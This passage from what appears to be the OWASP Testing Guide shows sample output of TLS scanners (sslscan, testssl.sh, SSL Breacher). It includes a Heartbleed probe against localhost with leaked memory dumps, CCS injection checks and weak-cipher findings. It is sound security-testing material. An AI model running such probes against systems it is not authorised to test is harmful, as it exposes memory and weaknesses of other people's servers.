CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Certificate Validation : false<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[*] HTTP elements embedded in SSL page: NOT PRESENT<br />
[*] Immune from MITM malicious content injection attack<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
<br />
Robust Solution (Is it Troublesome for you to add more things for your site security?):<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1<br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No<br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 27 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
